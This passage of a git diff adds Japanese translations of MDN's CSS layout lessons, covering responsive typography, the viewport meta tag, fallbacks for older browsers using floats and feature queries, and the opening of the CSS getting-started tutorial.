の学習セクションで、<a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像の詳細なガイド</a>を見つけることができます。</p> + +<h2 id="Responsive_typography" name="Responsive_typography">レスポンシブタイポグラフィ</h2> + +<p>以前の研究ではカバーされていなかったレスポンシブデザインの要素は、レスポンシブタイポグラフィ（responsive typography）のアイデアでした。 基本的に、これは、メディアクエリー内のフォントサイズを変更して、画面を占める量を増減させることを表します。</p> + +<p>この例では、レベル1の見出しを <code>4rem</code> に設定します。 つまり、基本フォントサイズの4倍になります。 それは本当に大きな見出しです！ このジャンボ見出しは大きな画面サイズでのみ必要です。 したがって、まず小さな見出しを作成し、ユーザーが少なくとも <code>1200px</code> の画面サイズを持っていることがわかった場合は、メディアクエリーを使用して大きな見出しで上書きします。</p> + +<pre class="brush: css notranslate"><code>html { + font-size: 1em; +} + +h1 { + font-size: 2rem; +} + +@media (min-width: 1200px) { + h1 { + font-size: 4rem; + } +} </code> +</pre> + +<p>上記のレスポンシブグリッドの例を編集して、説明した方法を使用してレスポンシブタイポグラフィも含めました。 レイアウトが2列バージョンになると、見出しのサイズがどのように切り替わるかを確認できます。</p> + +<p>モバイルでは、次のように見出しが小さくなります。</p> + +<figure><img alt="見出しサイズが小さいスタックレイアウト。" src="https://mdn.mozillademos.org/files/16838/mdn-rwd-font-mobile.png" style="display: block; height: 407px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<p>ただし、デスクトップでは、次のようにより大きな見出しサイズで表示されます。</p> + +<figure><img alt="見出しが大きい2列レイアウト。" src="https://mdn.mozillademos.org/files/16839/mdn-rwd-font-desktop.png" style="display: block; height: 169px; width: 600px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>注</strong>: この例を実際に見てください: <a href="https://mdn.github.io/css-examples/learn/rwd/type-rwd.html">例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-rwd.html">ソースコード</a>。</p> +</div> + +<p>このタイポグラフィへのアプローチが示すように、メディアクエリーをページのレイアウトの変更のみに制限する必要はありません。 これらを使用して任意の要素を微調整し、代わりとなる画面サイズでより使いやすく魅力的にすることができます。</p> + +<h3 id="Using_viewport_units_for_responsive_typography" name="Using_viewport_units_for_responsive_typography">レスポンシブタイポグラフィにビューポート単位を使用</h3> + +<p>興味深いアプローチは、ビューポート単位 <code>vw</code> を使用してレスポンシブタイポグラフィを有効にすることです。 <code>1vw</code> はビューポートの幅の 1% に等しいため、<code>vw</code> を使用してフォントサイズを設定すると、常にビューポートのサイズに関連付けられます。</p> + +<pre class="brush: css notranslate">h1 { + font-size: 6vw; +}</pre> + +<p>上記の問題は、<code>vw</code> 単位を使用するとユーザーがテキストをズームする機能を失うことです。 そのテキストは常にビューポートのサイズに関連しているためです。 <strong>したがって、ビューポート単位を単独で使用してテキストを設定しないでください</strong>。</p> + +<p>解決策があり、<code><a href="/ja/docs/Web/CSS/calc">calc()</a></code> を使用する必要があります。 <code>em</code> や <code>rem</code> などの固定サイズを使用した値に <code>vw</code> 単位を足しても、テキストはズーム可能です。 次のように基本的に、<code>vw</code> 単位はズームした値に足します。</p> + +<pre class="brush: css notranslate">h1 { + font-size: calc(1.5rem + 3vw); +}</pre> + +<p>これは、見出しのフォントサイズを指定する必要があるのは一度だけで、モバイル用にメディアクエリーで再定義せずともよいことを意味します。ビューポートのサイズを大きくするにつれて、フォントは徐々に大きくなります。</p> + +<div class="blockIndicator note"> +<p>実際のこの例を見てください: <a href="https://mdn.github.io/css-examples/learn/rwd/type-vw.html">例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-vw.html">ソースコード</a>。</p> +</div> + +<h2 id="The_viewport_meta_tag" name="The_viewport_meta_tag">ビューポートメタタグ</h2> + +<p>レスポンシブなページの HTML ソースを見ると、通常、ドキュメントの <code><head></code> に次の {{htmlelement("meta")}} タグがあります。</p> + +<pre class="brush: html notranslate"><code><meta name="viewport" content="width=device-width,initial-scale=1"></code> +</pre> + +<p>このメタタグは、モバイルブラウザーに、ビューポートの幅をデバイスの幅に設定し、ドキュメントを意図したサイズの 100% にスケーリングするよう指示します。 これにより、ドキュメントはモバイル向けに最適化されたサイズで表示されます。</p> + +<p>なぜこれが必要でしょうか？ モバイルブラウザーは、ビューポートの幅について嘘をつく傾向があるためです。</p> + +<p>このメタタグが存在するのは、最初の iPhone が出て、人々が小さな電話画面で Web サイトを表示し始めたとき、ほとんどのサイトがモバイル向けに最適化されていなかったためです。 したがって、モバイルブラウザーはビューポートの幅を 960 ピクセルに設定し、その幅でページをレンダリングし、デスクトップレイアウトの縮小版として結果を表示します。 他のモバイルブラウザー（Google Android など）も同じことを行いました。 ユーザーは Web サイトをズームインして画面内を移動し、興味のある部分を見ることができましたが、見た目は悪かったです。 レスポンシブデザインのないサイトに出くわす不幸がある場合、今日でもこれを見ることができます。</p> + +<p>問題は、モバイルブラウザーでは、ブレークポイントとメディアクエリーを使用したレスポンシブデザインが意図したとおりに機能しないことです。 ビューポートの幅が <code>480px</code> 以下で作動する狭い画面レイアウトがあり、ビューポートが <code>960px</code> に設定されている場合、モバイルで狭い画面のレイアウトが表示されることはありません。 <code>width=device-width</code> を設定すると、Apple のデフォルトの <code>width=960px</code> がデバイスの実際の幅で上書きされるため、メディアクエリーは意図したとおりに機能します。</p> + +<p><strong>したがって、ドキュメントの先頭に上記の HTML 行を<em>常に</em>含める必要があります</strong>。</p> + +<p>ビューポートメタタグで使用できる設定は次のように他にもありますが、一般的には上記の行を使用します。</p> + +<ul> + <li><code>initial-scale</code>: ページの初期ズームを設定します。 これには 1 を設定します。</li> + <li><code>height</code>: ビューポートに特定の高さを設定します。</li> + <li><code>minimum-scale</code>: 最小ズームレベルを設定します。</li> + <li><code>maximum-scale</code>: 最大ズームレベルを設定します。</li> + <li><code>user-scalable</code>: <code>no</code> に設定すると、ズームを禁止します。</li> +</ul> + +<p><code>minimum-scale</code>、<code>maximum-scale</code>、特に <code>user-scalable</code> を <code>no</code> に設定することは避けてください。 ユーザーには必要なだけズームを許可する必要があります。 これを禁止すると、アクセシビリティの問題が発生します。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code><a href="/ja/docs/Web/CSS/@viewport">@viewport</a></code> というビューポートメタタグを置き換えるように設計された CSS の @ 規則がありますが、ブラウザーのサポートが不十分です。 両方が使用されたときは、メタタグが @viewport を上書きします。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>レスポンシブデザインとは、表示される環境に対応するサイトまたはアプリのデザインを指します。 これには多くの CSS および HTML の機能とテクニックが含まれており、現在では基本的に Web サイトをデフォルトで構築する方法になっています。 サイトを携帯電話でアクセスするところを考えてください — デスクトップバージョンを縮小したサイトや、物事を見つけるために横にスクロールする必要があるサイトに出くわすことは、おそらくかなり珍しいことです。 これは、Web がレスポンシブデザインのこのアプローチに移行したためです。</p> + +<p>また、これらのレッスンで学んだレイアウト方法の助けを借りて、レスポンシブデザインを実現することがはるかに容易になりました。 今日の Web 開発が初めてでも、レスポンシブデザインの初期よりも多くのツールを意のままに使用できます。 したがって、参照している資料の年齢を確認する価値があります。 歴史的な記事はまだ有用ですが、CSS と HTML の現代的な用法により、訪問者がどのデバイスを使用してサイトを表示しても、エレガントで便利なデザインをはるかに簡単に作成できます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/supporting_older_browsers/index.html b/files/ja/learn/css/css_layout/supporting_older_browsers/index.html new file mode 100644 index 0000000000..93feda2cf0 --- /dev/null +++ b/files/ja/learn/css/css_layout/supporting_older_browsers/index.html @@ -0,0 +1,248 @@ +--- +title: 古いブラウザーのサポート +slug: Learn/CSS/CSS_layout/Supporting_Older_Browsers +tags: + - Beginner + - CSS + - Guide + - Layout + - Learn + - feature queries + - flexbox + - float + - grid + - legacy +translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p> + +<p class="summary"><span class="seoSummary">このモジュールでは、フレックスボックスとグリッドをデザインの主なレイアウト方法として使用することをお勧めしています。 しかしながら、サイトへの訪問者には、古いブラウザーや、使用している方法をサポートしていないブラウザーを使用している人がいます。 これはウェブ上で常に当てはまります — 新しい機能が開発されると、ブラウザーによって異なるものが優先されます。 この記事では、古い技術のユーザーを締め出すことなく最新のウェブテクニックを使用する方法について説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>と<a href="/ja/docs/Learn/CSS/Styling_boxes">ボックスの装飾</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>使用したい機能をサポートしていない可能性がある、古いブラウザーでレイアウトのサポートを提供する方法を理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="What_is_the_browser_landscape_for_your_site" name="What_is_the_browser_landscape_for_your_site">あなたのサイトのブラウザー利用状況はどうですか？</h2> + +<p>すべてのウェブサイトは、対象視聴者という点で異なります。 取るべきアプローチを決める前に、古いブラウザーでサイトにやってくる訪問者の数を調べてください。 あなたが追加したり置き換えたりしている既存のウェブサイトを持っているなら、人々が使用している技術を伝えることができる分析機能（analytics）を利用できるので、これは簡単です。 分析機能を持っていないか、真新しいサイトであるならば、場所によってフィルターをかけた統計（statistics）を提供することができる <a href="http://gs.statcounter.com/">Statcounter</a> のようなサイトがあります。</p> + +<p>また、デバイスの種類やサイトの利用方法についても検討する必要があります。 例えば、モバイルデバイスの平均数よりも多いと予想される場合があります。 アクセシビリティと支援技術を使用している人々は常に考慮されるべきですが、いくつかのサイトではさらに重要になるかもしれません。 私の経験では、開発者は多くの場合、古いバージョンの Internet Explorer でのユーザーの 1% の体験を非常に心配していますが、はるかに多い数のアクセシビリティが必要な人々は考慮していません。</p> + +<h2 id="What_is_the_support_for_the_features_you_want_to_use" name="What_is_the_support_for_the_features_you_want_to_use">使用したい機能に対するサポートはどうですか？</h2> + +<p>サイトにやってくるブラウザーを知ったら、それがどのような技術をサポートしているかや、その技術を利用できない訪問者にどれだけ簡単に代替手段を提供できるかについて、使用したい技術を評価できます。 MDN では、CSS プロパティを詳述した各ページにブラウザーの互換性情報を提供することで、これを簡単にできるようにしています。 例えば、{{cssxref("grid-template-columns")}} のページを見てください。 このページの下部には、主要なブラウザーと、このプロパティのサポートを開始したバージョンの一覧をまとめた表があります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16047/browser-table.png" style="height: 1178px; width: 2102px;"></p> + +<p>機能がどの程度サポートされているかを調べるもう1つの一般的な方法は、<a href="https://caniuse.com/">Can I Use</a> ウェブサイトです。 このサイトには、ウェブプラットフォームの機能の大部分と、それらのブラウザーのサポート状況に関する情報が記載されています。 あなたは場所によって使用統計を見ることができます — あなたが主に世界の特定の地域のためにユーザーを持っているサイトで働いているなら有用です。 Google Analytics アカウントをリンクして、あなたのユーザーデータに基づいて分析することもできます。</p> + +<p>ユーザーが持っている技術、そしてあなたが使いたいと思うかもしれないことへのサポートを理解することは、すべての決断を下し、すべてのユーザーをサポートするための最善の方法を知るための良い場所にあなたを置きます。</p> + +<h2 id="Support_doesnt_mean_looks_the_same" name="Support_doesnt_mean_looks_the_same">サポートは「同じに見える」という意味ではありません</h2> + +<p>一部のユーザーはサイトを携帯電話で見たり、他のユーザーは大きなデスクトップ画面を見たりするため、ウェブサイトはすべてのブラウザーで同じように見えるとは限りません。 同様に、一部のユーザは古いブラウザーのバージョンを持ち、他のユーザは最新のブラウザーを持ちます。 一部のユーザーは、コンテンツがスクリーンリーダーによって読み上げられているのを聞いているかもしれないし、それを読むことができるようにページにズームインしているかもしれません。 全員をサポートするということは、防御的に設計されたバージョンのコンテンツを提供することを意味します。 その結果、最新のブラウザーでは見栄えがよくなりますが、それでも古いブラウザーのユーザにとっては基本レベルで使用できます。</p> + +<p>基本レベルのサポートは、ページの通常フローが意味をなすように、コンテンツを適切に構成することによります。 非常に限られた機能の携帯電話を持っているユーザーは CSS の多くを得ないかもしれません、しかし内容は読みやすくする方法で流れます。 したがって、よく構造化された HTML 文書を常に出発点にする必要があります。 <em>スタイルシートを削除した場合、コンテンツは意味をなしますか？</em></p> + +<p>1つの選択肢は、非常に古いブラウザーや限られたブラウザーを使用している人々のための代替手段として、サイトのこのプレーンなビューを残すことです。 これらのブラウザーでこのサイトにアクセスしている人の数が非常に少ない場合は、最新のブラウザーと同様の経験をそれらの人に与えようとして時間を注いでも意味がありません。 サイトをよりアクセスしやすくするために時間をかけて、はるかに多くのユーザーにサービスを提供することをお勧めします。 プレーンな HTML ページと何から何までいろいろなものとの間には妥協点があり、CSS は実際にこれらの代替手段の作成をかなり簡単にしました。</p> + +<h2 id="Creating_fallbacks_in_CSS" name="Creating_fallbacks_in_CSS">CSS で代替手段を作成する</h2> + +<p>CSS の仕様には、2つのレイアウト方法が同じ項目に適用されたときにブラウザーが何をするのかを説明する情報が含まれています。 これは、例えばフロート項目が CSS グリッドレイアウトを使用しているグリッド項目でもある場合に何が起こるかの定義があることを意味します。 ブラウザーが理解できない CSS を無視するという知識とこの情報を組み合わせると、すでに説明した<a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のテクニック</a>を使用して単純なレイアウトを作成し、それをグリッドレイアウトを理解している最新のブラウザーではグリッドレイアウトで上書きする方法があります。</p> + +<p>以下の例では、3つの <code><div></code> をフロートさせて、それらが一行に表示されるようにしました。 <a href="/ja/docs/Learn/CSS/CSS_layout/Grids">CSS グリッドレイアウト</a>をサポートしていないブラウザーでは、ボックスの行はフロートレイアウトとして表示されます。 グリッド項目になったフロート項目はフロートのふるまいを失います。 つまり、<code>wrapper</code> をグリッドコンテナに変えることによって、フロート項目はグリッド項目になります。 ブラウザーがグリッドレイアウトをサポートしていればグリッドビューを表示し、そうでなければ <code>display: grid</code> と関連のプロパティを無視してフロートレイアウトが使用されます。</p> + +<div id="Example1"> +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + max-width: 400px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} + +.item { + float: left; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('Example1', '100%', '200') }}</p> +</div> + +<div class="note"> +<p><strong>注</strong>: クリアされた項目がグリッド項目になると、{{cssxref("clear")}} プロパティも無効になります。 そのため、フッターがクリアされたレイアウトを作成し、それをグリッドレイアウトにすることができます。</p> +</div> + +<h3 id="Fallback_Methods" name="Fallback_Methods">代替手段の方法</h3> + +<p>このフロートの例と同様の方法で使用できるレイアウト方法はいくつかあります。 作成するレイアウトパターンに最も適したものを選択できます。</p> + +<dl> + <dt>フロートと<em>クリア</em></dt> + <dd>上記のように、フロート項目またはクリアされた項目がフレックス項目またはグリッド項目になると、<code>float</code> プロパティや <code>clear</code> プロパティはレイアウトに影響しなくなります。</dd> + <dt>display: inline-block</dt> + <dd>この方法を使用して列レイアウトを作成できます。 項目に <code>display: inline-block</code> が設定されていて、それからフレックス項目またはグリッド項目になる場合、<code>inline-block</code> のふるまいは無視されます。</dd> + <dt>display: table</dt> + <dd>CSS レイアウト入門で説明した <a href="/ja/docs/Learn/CSS/CSS_layout/Introduction#Table_layout">CSS 表の作成方法</a>は、代替手段として使用できます。 CSS 表レイアウトが設定されている項目は、それらがフレックス項目またはグリッド項目になると、このふるまいを失います。 重要なことに、表構造を修正するために作成された匿名ボックスは作成されません。</dd> + <dt>段組みレイアウト</dt> + <dd>特定のレイアウトでは、代替手段として<a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a>を使用できます。 コンテナに定義された <code>column-*</code> プロパティのいずれかがあり、その後グリッドコンテナになると、段組みレイアウトのふるまいは起こりません。</dd> + <dt>グリッドの代替手段としてのフレックスボックス</dt> + <dd><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a>は、IE10 と IE11 でサポートされているため、グリッドよりもブラウザーのサポートが優れています。 ただし、このレッスンの後半で、古いブラウザーでのフレックスボックスのかなり曖昧でわかりにくいサポートについて説明します。 フレックスコンテナをグリッドコンテナにした場合、子に適用されている <code>flex</code> プロパティはすべて無視されます。</dd> +</dl> + +<p>古いブラウザーでの多くのレイアウトの調整では、このように CSS を使用することでまともな体験を与えることができるかもしれません。 古くてよくサポートされているテクニックに基づいた、より単純なレイアウトを追加してから、新しい CSS を使用して、視聴者の 90% 以上が見るレイアウトを作成します。 ただし、代替手段のコードに新しいブラウザーでも解釈されるものを含める必要がある場合があります。 この良い例は、列をグリッド表示に近づけるためにフロート項目にパーセント幅を追加し、コンテナを埋めるように伸縮する場合です。</p> + +<p>フロートレイアウトでは、パーセントはコンテナから計算されます — 33.333% はコンテナ幅の3分の1です。 ただしグリッドでは、 33.333% は項目が配置されているグリッド領域から計算されるため、グリッドレイアウトが導入されると、実際に必要なサイズのさらに3分の1になってしまいます。</p> + +<div id="Example2"> +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + max-width: 400px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} + +.item { + float: left; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + width: 33.333%; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('Example2', '100%', '200') }}</p> +</div> + +<p>この問題に対処するには、グリッドがサポートされているかどうか、したがってグリッドが幅を上書きするかどうかを検出する方法が必要です。 CSS は下記の解決策を持っています。</p> + +<h2 id="Feature_queries" name="Feature_queries">機能クエリ</h2> + +<p>機能クエリを使用すると、ブラウザーが特定の CSS 機能をサポートしているかどうかをテストできます。 つまり、特定の機能をサポートしていないブラウザー用の CSS を作成してから、そのブラウザーがサポートしているかどうかを確認し、サポートしている場合は素敵なレイアウトを追加することができます。</p> + +<p>上記の例に機能クエリを追加すると、グリッドをサポートしている場合、項目の幅を <code>auto</code> に戻すことができます。</p> + +<div id="Example3"> +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + max-width: 400px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} + +.item { + float: left; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + width: 33.333%; +} + +@supports (display: grid) { + .item { + width: auto; + } +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('Example3', '100%', '200') }}</p> +</div> + +<p>機能クエリのサポートは最近のブラウザーでは非常に優れていますが、CSS グリッドをサポートしていないブラウザーでも機能クエリをサポートしていないことに注意してください。 これは、上で詳述されたアプローチがそれらのブラウザーで働くということを意味します。 していることは、すべての機能クエリの外側で、古い CSS を最初に書くことです。 グリッドをサポートせず、機能クエリもサポートしないブラウザーは、理解できるレイアウト情報を使用し、それ以外はすべて無視します。 機能クエリをサポートするブラウザーは CSS グリッドもサポートするため、グリッドのコードと機能クエリ内のコードを実行します。</p> + +<p>機能クエリの仕様には、ブラウザーが機能をサポートしていないことをテストする機能も含まれています — これは、ブラウザーが機能クエリをサポートしている場合にのみ役立ちます。 将来的には、機能クエリをサポートしていないブラウザーはなくなるため、サポートの欠如を確認するアプローチが有効になります。 ただし現時点では、最善のサポートのために古い CSS を使用してから上書きするというアプローチを使用してください。</p> + +<h2 id="Older_versions_of_Flexbox" name="Older_versions_of_Flexbox">古いバージョンのフレックスボックス</h2> + +<p>古いバージョンのブラウザーでは、以前のフレックスボックス仕様の繰り返しを見つけることができます。 これを書いている時点で、これはほとんどフレックスボックスのために <code>-ms-</code> 接頭辞を使う Internet Explorer 10 の問題です。 これはまた、いくつかの古い記事やチュートリアルが存在することを意味します。 <a href="https://css-tricks.com/old-flexbox-and-new-flexbox/">この便利なガイド</a>（英語）は何を見ているのかを確認するのに役立ちますし、非常に古いブラウザーでフレックスのサポートが必要な場合にも役立ちます。</p> + +<h2 id="The_IE10_and_11_prefixed_version_of_Grid" name="The_IE10_and_11_prefixed_version_of_Grid">IE10 と IE11 の接頭辞版のグリッド</h2> + +<p>CSS グリッド仕様は、当初 Internet Explorer 10 で試作されました。 つまり、IE10 と IE11 は<em>最新</em>のグリッドをサポートしていませんが、このサイトに記載されている最新の仕様とは異なり、非常に使いやすいバージョンのグリッドレイアウトを使用しています。 IE10 および IE11 の実装は、前に <code>-ms-</code> が付いています。 つまり、これらのブラウザーに使用でき、マイクロソフト以外のブラウザーでは無視されます。 Edge はまだ古い構文を理解しているので、最新のグリッド CSS ではすべてが安全に上書きされるように注意してください。</p> + +<p><a href="/ja/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">グリッドレイアウトのプログレッシブエンハンスメント</a>のガイドはグリッドの IE バージョンを理解するのを助けることができ、このレッスンの最後にいくつかの追加の役に立つリンクを含めました。 ただし、以前のバージョンの IE に非常に多くの訪問者がいない限り、サポートされていないすべてのブラウザーで機能する代替手段の作成に集中することをお勧めします。</p> + +<h2 id="Testing_older_browsers" name="Testing_older_browsers">古いブラウザーをテストする</h2> + +<p>フレックスボックスとグリッドをサポートしているブラウザーの大多数では、古いブラウザーをテストするのはかなり難しいかもしれません。 1つの方法は、<a href="https://developer.mozilla.org/ja/docs/Learn/Tools_and_testing/Cross_browser_testing">クロスブラウザーテスト</a>のモジュールに詳述されているように、Sauce Labs のようなオンラインテストツールを使うことです。</p> + +<p>また、仮想マシンをダウンロードしてインストールし、自分のコンピュータ上の封じ込められた環境で古いバージョンのブラウザーを実行することもできます。 古いバージョンの Internet Explorer にアクセスできることは特に便利で、そのために、マイクロソフトは<a href="https://developer.microsoft.com/ja/microsoft-edge/tools/vms/">さまざまな仮想マシンを無料でダウンロード</a>（英語）できるようにしました。 これらは、Mac、Windows、Linux の各オペレーティングシステムで利用可能で、Windows コンピュータを使用していなくても、古い Windows ブラウザーや最新の Windows ブラウザーでテストするのに最適な方法です。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>今やあなたは自信を持ってグリッドやフレックスボックスのようなテクニックを使い、古いブラウザーのための代替手段を作り、そして将来現れるであろう新しいテクニックを利用する知識を持っています。</p> + +<h2 id="See_Also" name="See_Also">関連情報</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">CSS での機能クエリの使用</a>（英語）</li> + <li><a href="/ja/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">フレックスボックスの後方互換性</a></li> + <li><a href="/ja/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS グリッドレイアウトとプログレッシブエンハンスメント</a></li> + <li><a href="https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/">CSS グリッドを使用する: グリッドなしでブラウザーをサポートする</a>（英語）</li> + <li><a href="https://24ways.org/2012/css3-grid-layout/">IE10 および IE11 バージョンのグリッドを使用するチュートリアル</a>（英語）</li> + <li><a href="https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/">IE10 のグリッドレイアウトの実装を使おうとするべきですか？</a>（英語）</li> + <li><a href="https://24ways.org/2017/cascading-web-design/">機能クエリによるカスケードウェブデザイン</a>（英語）</li> + <li><a href="https://gridbyexample.com/learn/2016/12/24/learning-grid-day24/">機能クエリの使用</a>（動画、英語）</li> +</ul> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/first_steps/getting_started/index.html b/files/ja/learn/css/first_steps/getting_started/index.html new file mode 100644 index 0000000000..e11d48443c --- /dev/null +++ b/files/ja/learn/css/first_steps/getting_started/index.html @@ -0,0 +1,263 @@ +--- +title: CSS 入門 +slug: Learn/CSS/First_steps/Getting_started +tags: + - Beginner + - CSS + - Classes + - Elements + - Learn + - Selectors + - Syntax + - state +translation_of: Learn/CSS/First_steps/Getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div> + +<p class="summary">この記事では、かんたんな HTML コードに CSS を適用させ、その過程でこの言語についての実用的なことを学びます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">ソフトウェアのインストール</a>、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの働き方</a>についての基本的な知識、HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML序論</a>を学んでいること。)</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS 文書と HTML ファイルのリンクのさせかたを理解し、簡単なテキストをスタイリングできるようになる。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_with_some_HTML" name="Starting_with_some_HTML">HTML からはじめよう</h2> + +<p>HTML 文書から始めましょう。あなたのコンピューターのフォルダーに <code>index.html</code> として以下のコードを保存してください。</p> + +<pre class="brush: html notranslate"><!doctype html> +<html lang="ja"> +<head> + <meta charset="utf-8"> + <title>CSS 入門</title> +</head> + +<body> + + <h1>見出し１です</h1> + + <p>これは第一段落の文です。この文には <span>span 要素</span> +と<a href="http://example.com">リンク</a>が含まれます。</p> + + <p>これは第二段落の文です。この文には <em>em 要素</em>が含まれます。</p> + + <ul> + <li>一つ目の項目</li> + <li>二つ目の項目</li> + <li><em>三つ目</em>の項目</li> + </ul> + +</body> + +</html> +</pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: もし簡単にファイルの作れないデバイスや環境でこの記事を読んでいても心配しないでください。このページにあるコードを書くためにライブコードエディターが用意されています。</p> +</div> + +<h2 id="Adding_CSS_to_our_document" name="Adding_CSS_to_our_document">CSS を加える</h2> + +<p>まず必要なのは、使いたい CSS ルールを HTML 文書に適用させることです。これには一般的に３つの方法がありますが、いまは最も一般的で便利な方法— CSS を {{htmlelement("head")}} 要素の中にリンクする方法を見てみましょう。</p> + 